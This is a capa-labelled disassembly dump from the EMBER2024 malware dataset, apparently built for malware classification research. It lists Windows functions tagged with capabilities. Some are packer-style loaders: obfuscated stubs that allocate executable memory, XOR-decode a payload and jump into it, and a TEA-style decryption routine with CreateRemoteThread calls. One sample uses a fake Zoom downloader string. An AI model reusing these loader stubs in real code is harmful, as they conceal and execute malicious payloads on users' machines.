joyce8/EMBER2024-capa huggingface dataset:
Function at 0x444d90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x444dbb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x444ddf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x444dfa
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.user32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.gdi32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.user32.dll_ReleaseDC]
push ebp
call dword [sym.imp.kernel32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x447576
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x447598
cmp dword [edi + 0x3c], 0
jne 0x447598
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.0045b039
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.004475c5
pop edi
pop esi
pop ebx
ret 8

Function at 0x447613
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.0045b039
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x447644
push eax
call dword [sym.imp.kernel32.dll_LockResource_1]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00447657
pop edi
pop esi
pop ebx
ret 8

Function at 0x4494d1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x449509
push dword [esi + 0x1c]
call dword [sym.imp.user32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004483cf
push eax
push dword [esi + 0x1c]
call dword [sym.imp.user32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004483a7
jmp 0x449515
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x44affe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x44b040
call fcn.0045b039
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
cmp eax, edi
je 0x44b040
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
cmp eax, edi
jne 0x44b037
xor eax, eax
jmp 0x44b048
push eax
call dword [sym.imp.kernel32.dll_LockResource_1]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0044b04e
pop edi
pop esi
pop ebx
ret 4

Function at 0x45ce68
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x45ce96
push dword [esi]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x45ceb4
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0045cdce
jmp 0x45ceb4
mov eax, dword [esi + 0x14]
test eax, eax
je 0x45ceb4
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0045cdce
test edi, edi
mov eax, edi
jne 0x45ce9e
pop edi
push ebx
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x100119f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x100119ff
pop dword [ebp - 0x44]
mov eax, 0x100119ff
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x53bc3903
sub dword [ebp - 0x54], 0x569f3b8
mov dword [ebp - 0x50], 0x416d7ec8
sub dword [ebp - 0x50], 0xf3a3283
mov dword [ebp - 0x4c], 0x4250533a
sub dword [ebp - 0x4c], 0xf6040f0c
mov dword [ebp - 0x48], 0x61e76c4a
sub dword [ebp - 0x48], 0x61e76c4a
lea eax, [ebp - 0x54]
push eax
mov eax, 0x8ee543a4
add eax, 0x811d0ce0
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x23f2cc4a
sub dword [ebp - 0x54], 0xaf8062f4
mov dword [ebp - 0x50], 0xe441ad8a
add dword [ebp - 0x50], 0x5d2ab3eb
mov dword [ebp - 0x4c], 0x400bd25
sub dword [ebp - 0x4c], 0xa09150b9
mov dword [ebp - 0x48], 0x9359c55b
add dword [ebp - 0x48], 0x6ca63aa5
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x2c60bab9
sub eax, 0x1c5e6a3d
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x39492
push 0
call eax
mov ecx, 0x4f532f34
sub ecx, 0x4f52f034
mov ebx, eax
mov esi, 0x2409b048
sub esi, 0x1406a448
add esi, dword [ebp - 0x44]
mov edx, 0x2a093bf7
sub dword [ebp - 0x38], 0x639864a7
mov edi, dword [esi]
add dword [ebp - 0x34], ecx
xor edi, edx
sub dword [ebp - 0x2c], 0xb2ab6ad5
mov dword [ebx], edi
sub dword [ebp - 0x3c], eax
add ebx, 0xbf02bce4
add ebx, 0x40fd4320
add esi, 0x887ba4aa
sub esi, 0x887ba4a6
loop 0x10011b16
add eax, 0xb53c6871
sub eax, 0xb53b799e
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x1001c940
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c9db
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c992
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c992
cmp esi, ebx
jge 0x1001c992
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c9d5
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c9d5
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c9ed
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc
Function at 0x1001cc10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001cc38
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001cc52
lea ecx, [ebp - 0x108]
push ecx
push eax
call sym.drvSOFT.x3d_public:_void___stdcall_MATRIX3D::_FromUpDir_struct_MATRIX3D___struct_POINT3D___struct_POINT3D___struct_POINT3D__
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022930
leave
ret 4

Function at 0x1001ce20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001ce56
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001ceb5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call sym.drvSOFT.x3d_public:_void___stdcall_MATRIX3D::_FromUpDir_struct_MATRIX3D___struct_POINT3D___struct_POINT3D___struct_POINT3D__
lea eax, [ebp - 0x20c]
push eax
push edi
call sym.drvSOFT.x3d_public:_void___stdcall_MATRIX3D::_FromUpDir_struct_MATRIX3D___struct_POINT3D___struct_POINT3D___struct_POINT3D__
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call sym.drvSOFT.x3d_public:_void___stdcall_MATRIX3D::_FromUpDir_struct_MATRIX3D___struct_POINT3D___struct_POINT3D___struct_POINT3D__
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022930
leave
ret 0x10

Function at 0x1001ced0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cefc
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cf2d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cf2b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call sym.drvSOFT.x3d_public:_void___stdcall_MATRIX3D::_FromUpDir_struct_MATRIX3D___struct_POINT3D___struct_POINT3D___struct_POINT3D__
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cf2d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022930
leave
ret 8
Function at 0x405bea
Capabilities:
Check http status code

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x44fc50]
xor eax, ebp
mov dword [ebp + 0x94], eax
push ebx
push edi
mov edi, dword [ebp + 0xa0]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], ebx
call dword [0x4422cc]
test eax, eax
jne 0x405c28
xor al, al
jmp 0x405cca
push 4
lea eax, [ebp - 0x74]
push eax
push 2
push ebx
mov dword [ebp - 0x74], 0xbb8
call dword [0x4422dc]
test eax, eax
jne 0x405c6a
call dword [fcn.00442194]
push eax
push 0x4434c8
lea eax, [ebp - 0x6c]
push 0x100
push eax
call fcn.00424576
lea eax, [ebp - 0x6c]
push eax
call fcn.00404588
add esp, 0x14
jmp 0x405c21
push ebx
push ebx
push ebx
push ebx
push 0x4434bc
call dword [0x4422d8]
cmp eax, ebx
jne 0x405c8a
push 0x443494
call fcn.00404588
pop ecx
jmp 0x405c21
cmp dword [edi + 0x18], 0x10
push esi
lea esi, [edi + 4]
jb 0x405c98
mov ecx, dword [esi]
jmp 0x405c9a
mov ecx, esi
push ebx
push ebx
push ebx
push ebx
push ecx
push eax
call dword [0x4422c0]
cmp eax, ebx
mov dword [ebp - 0x78], eax
jne 0x405ce3
push 0x443474
call fcn.00404588
cmp dword [edi + 0x18], 0x10
pop ecx
jb 0x405cc0
mov esi, dword [esi]
push esi
call fcn.00404588
pop ecx
xor al, al
pop esi
mov ecx, dword [ebp + 0x94]
pop edi
xor ecx, ebp
pop ebx
call fcn.0042368a
add ebp, 0x98
leave
ret 4
push ebx
lea ecx, [ebp - 0x7c]
push ecx
lea ecx, [ebp - 0x70]
push ecx
push 0x20000013
push eax
mov dword [ebp - 0x7c], 4
call dword [0x4422d4]
test eax, eax
jne 0x405d0e
push 0x443444
call fcn.00404588
pop ecx
cmp dword [ebp - 0x70], 0xc8
je 0x405d5b
cmp dword [ebp - 0x70], 0xce
je 0x405d5b
cmp dword [edi + 0x18], 0x10
jb 0x405d28
mov esi, dword [esi]
push dword [ebp - 0x70]
lea eax, [ebp - 0x6c]
push esi
push 0x443404
push 0x100
push eax
call fcn.00424576
lea eax, [ebp - 0x6c]
push eax
call fcn.00404588
add esp, 0x18
push dword [ebp - 0x78]
call dword [0x4422d0]
mov al, bl
jmp 0x405cc9
mov bl, 1
jmp 0x405d4b

Function at 0x41ff20
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
test edi, edi
mov esi, ecx
je 0x41ffd2
cmp dword [esi + 0x50], 0
jne 0x41ffd2
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
mov ecx, edi
call edx
test eax, eax
mov dword [esi + 0xc], eax
je 0x41ffd2
mov eax, dword [esp + 0x10]
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esi + 0x6c]
call fcn.00402d06
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
push 0xffffffffffffffff
push 0
mov dword [esi + 0x88], ecx
push edx
lea ecx, [esi + 0x8c]
call fcn.00402d06
mov eax, dword [esp + 0x1c]
mov dword [esi + 0xa8], eax
mov eax, dword [esi + 0xc]
mov dword [esi + 8], edi
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
lea ecx, [edx + eax]
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
lea edx, [esi + 4]
push edx
call eax
push 0
push 0
push esi
push 0x41fef0
push 0
push 0
mov dword [esi + 0x50], 1
mov byte [esi + 0x14], 1
mov dword [esi + 0x1c], 0
call fcn.0042924b
add esp, 0x18
mov dword [esi + 0x18], eax
pop edi
mov al, 1
pop esi
ret 0x14
pop edi
xor al, al
pop esi
ret 0x14
Function at 0x422820
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x56], 0
je 0x42282d
mov al, 1
pop esi
ret
mov byte [esi + 0x55], 0
mov byte [esi + 0x54], 1
call dword [fcn.00442200]
push 0
push 0
push esi
push 0x422800
push 0
push 0
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], 0
call fcn.0042924b
add esp, 0x18
test eax, eax
mov dword [esi + 0x5c], eax
je 0x422866
mov byte [esi + 0x56], 1
mov al, byte [esi + 0x56]
pop esi
ret

Function at 0x422cd0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push 0
push esi
push 0x422cb0
push 0
push 0
mov dword [esi], eax
mov dword [esi + 4], ecx
mov byte [esi + 8], 1
call fcn.0042924b
add esp, 0x18
xor edx, edx
test eax, eax
mov dword [esi + 0x10], eax
setne dl
mov al, dl
pop esi
ret 8
Function at 0x4a6628
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add dl, dl
jne 0x4a6645
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4a6636
add dl, dl
jne 0x4a6650
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4a669c
xor eax, eax
add dl, dl
jne 0x4a665d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4a6739
add dl, dl
jne 0x4a666c
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4a6677
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4a6682
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4a668d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x4a6697
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
jmp 0x4a663c
mov eax, 1
add dl, dl
jne 0x4a66aa
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4a66b5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4a66a1
sub eax, 2
jne 0x4a66e4
mov ecx, 1
add dl, dl
jne 0x4a66ca
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4a66d5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4a66c1
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4a663c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x4a66fb
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4a6706
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4a66f2
cmp eax, 0x7d00
jae 0x4a6729
cmp eax, 0x500
jb 0x4a6724
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4a663c
cmp eax, 0x7f
ja 0x4a672c
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4a663c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x4a6755
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4a663c
pop ebp
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
popal
pop ebp
ret 8
Function at 0x10018c71
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10018c80
pop dword [ebp - 0x30]
mov eax, 0x7924ff29
add eax, 0x96dc8d57
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x4454c
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x57a8
mov esi, eax
mov edi, 0x3976b046
add edi, 0xd68d0dba
add edi, dword [ebp - 0x30]
mov ebx, 0x2fdb2de
add ebx, 0xca89f29
add dword [ebp - 0x10], 0x5976217a
mov edx, dword [edi]
xor dword [ebp - 0x24], 0xa31f5c3e
sub edx, ebx
add dword [ebp - 0x10], ecx
mov dword [esi], edx
sub dword [ebp - 0xc], 0xa55c619c
add esi, 0x40a343d1
add esi, 0xbf5cbc33
add edi, 0x8367f00
sub edi, 0x8367efc
loop 0x10018cd4
add eax, 0x15173
mov ebx, eax
add eax, 0xc656ee6c
sub eax, 0xc656ee67
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.10018c71
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.10018c71
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret
Function at 0x405282
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push str.WinMain_start__lpCmdLine_is:
call esi
mov eax, dword [esp + 0x14]
xor edi, edi
cmp dword [esp + 0x14], edi
jne 0x4052a2
mov eax, str.NULL
push eax
call esi
push str.WinMain_start__parameter_is:
call esi
push str.package.nameZoom.msipackage.versionlatestpackage.size8257kdownloadRoothttps:__launcher.zoom.us_clientactionjoinbrowserchromeconfiddGlkPU43Q1RGMk0yUm5xa0lRQXZIOFl3cVE_3Dconfno645662708zc0mcv0.92.11227.0929stafalseinstaller.exeInstaller.exe
call esi
push 0x444
call fcn.00407475
pop ecx
cmp eax, edi
je 0x4052ce
mov edx, dword [esp + 0xc]
push eax
call fcn.0040538c
jmp 0x4052d0
xor eax, eax
push str.zoom.us_Downloader_Mutex_1.0.0.0
push edi
push 0x1f0001
mov dword [0x41ddb8], eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, edi
je 0x4052f3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4052fc
call fcn.00406405
test eax, eax
jne 0x40531c
push edi
push str.zoom.us_Boot_Downloader
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
je 0x405341
push edi
push edi
push 0x7e9
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x405341
mov ecx, dword [esp + 0x14]
call fcn.004057bb
mov eax, dword [0x41ddb8]
cmp eax, edi
je 0x405334
push eax
call fcn.00405348
push str.WinMain_end
mov dword [0x41ddb8], edi
call esi
pop edi
xor eax, eax
pop esi
ret 0x10
Function at 0x4010ae
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax + 4]
push esi
push edi
mov edi, dword [eax]
mov eax, dword [0x431618]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x43161c]
xor esi, esi
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], esi
call fcn.004010a7
mov eax, dword [0x431620]
add dword [ebp - 0x14], 0x23f
mov dword [ebp - 0x28], eax
mov eax, dword [0x431624]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x1a221c4], 0xc
mov dword [ebp - 4], eax
jne 0x401130
push esi
lea eax, [ebp - 0x40]
push eax
push esi
lea eax, [ebp - 0x458]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x1a221c4]
cmp eax, 0xfa9
jne 0x40114c
mov dword [0x1a221c0], 0xedeb2e40
cmp eax, 0x3eb
jne 0x401164
push esi
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov dword [0x1a22114], esi
mov eax, dword [ebp - 0x14]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [0x1a221bc], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 8], eax
sub ebx, dword [ebp - 8]
cmp dword [0x1a221c4], 0xc
mov dword [ebp - 4], eax
jne 0x4011e8
xor eax, eax
mov dword [ebp - 0x58], esi
lea edi, [ebp - 0x54]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x44]
push eax
push esi
lea eax, [ebp - 0x458]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea eax, [ebp - 0x3c]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, dword [ebp - 0x18]
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
add eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, ebx
shr eax, cl
add eax, dword [ebp - 0x34]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x14], 0x61c88647
sub edi, eax
dec dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
jne 0x401100
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
pop esi
mov dword [eax + 4], ebx
pop ebx
leave
ret 4